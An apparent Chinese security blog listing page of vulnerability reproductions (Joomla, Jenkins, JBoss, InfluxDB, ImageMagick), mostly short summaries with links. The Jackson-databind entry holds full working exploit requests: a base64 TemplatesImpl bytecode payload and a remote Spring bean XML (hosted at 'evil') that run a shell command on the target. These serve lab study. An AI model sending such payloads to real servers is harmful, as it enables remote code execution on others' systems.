joker0xxx3's Blog

现实告诉我: 保持好奇心,享受孤独


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 搜索

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

发表于 2021-08-23 | 分类于 漏洞复现 |

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

通过Joomla中的Gadget,可造成任意代码执行的结果。

详情可参考:

  • https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

影响版本

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
阅读全文 »

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

发表于 2021-08-23 | 分类于 漏洞复现 |

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

原理

参考阅读 https://blogs.securiteam.com/index.php/archives/3171

阅读全文 »

Jenkins远程命令执行漏洞(CVE-2018-1000861)

发表于 2021-08-23 | 分类于 漏洞复现 |

Jenkins远程命令执行漏洞(CVE-2018-1000861)

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

参考链接:

  • http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
  • http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
  • https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
阅读全文 »

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

发表于 2021-08-23 | 分类于 漏洞复现 |

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考:

  • https://github.com/joaomatosf/JavaDeserH2HC
  • https://www.youtube.com/watch?v=jVMr4eeJ2Po
阅读全文 »

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

发表于 2021-08-17 | 分类于 漏洞复现 |

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

参考:

  • https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
  • https://access.redhat.com/security/cve/cve-2017-12149
阅读全文 »

JBoss JMXInvokerServlet 反序列化漏洞

发表于 2021-08-17 | 分类于 漏洞复现 |

JBoss JMXInvokerServlet 反序列化漏洞

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档:

  • https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • https://www.seebug.org/vuldb/ssvid-89723
  • http://www.freebuf.com/sectool/88908.html
  • https://paper.seebug.org/312/
阅读全文 »

Jackson-databind 反序列化漏洞(CVE-2017-7525)

发表于 2021-08-16 | 分类于 漏洞复现 |

Jackson-databind 反序列化漏洞(CVE-2017-7525)

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

所以,本漏洞利用条件如下:

  • 开启 JacksonPolymorphicDeserialization,即调用以下任意方法

    1
    2
    objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  • Target class 需要有无参 constructor

  • Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口

CVE-2017-7525

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}

image-20210816144118603

成功在/tmp中创建prove1.txt

image-20210816151150620

这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。

CVE-2017-17485

CVE-2017-7525 黑名单修复 绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext。

利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如http://evil/spel.xml,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>

然后,发送如下数据包,使Jackson加载bean,触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /exploit HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138

{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://192.168.44.132/spel.xml"
]
}

成功执行touch /tmp/prove2.txt:

image-20210816151311884

原理: 利用 FileSystemXmlApplicationContext 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start() 方法实现命令执行

参考

  • JacksonPolymorphicDeserialization
  • Exploiting the Jackson RCE: CVE-2017-7525
  • jackson-rce-via-spel
  • Jackson Deserializer security vulnerability

influxdb未授权访问漏洞

发表于 2021-08-16 | 分类于 漏洞复现 |

influxdb未授权访问漏洞

influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。

参考链接:

  • https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
  • https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
阅读全文 »

Imagemagick 命令注入漏洞 (CVE-2016–3714)

发表于 2021-08-13 | 分类于 漏洞复现 |

Imagemagick 命令注入漏洞 (CVE-2016–3714)

ImageMagick 是一个免费的开源跨平台软件套件,用于显示、创建、转换、修改和编辑光栅图像。

推荐人:

  • https://imagetragick.com
  • https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
  • https://github.com/ImageTragick/PoCs
阅读全文 »

通过 PDF 密码进行 ImageMagick Shell 注入 (CVE-2020-29599)

发表于 2021-08-13 | 分类于 漏洞复现 |

通过 PDF 密码进行 ImageMagick Shell 注入 (CVE-2020-29599)

ImageMagick 是一个免费的开源跨平台软件套件,用于显示、创建、转换、修改和编辑光栅图像。

参考:

  • https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
阅读全文 »
<1…91011…17>
joker0xxx3

joker0xxx3

163 日志
18 分类
89 标签
RSS
GitHub E-Mail 博客园 BiliBili
友情链接
Sch0lar sakura 小透的少年江湖
© 2023 joker0xxx3
0%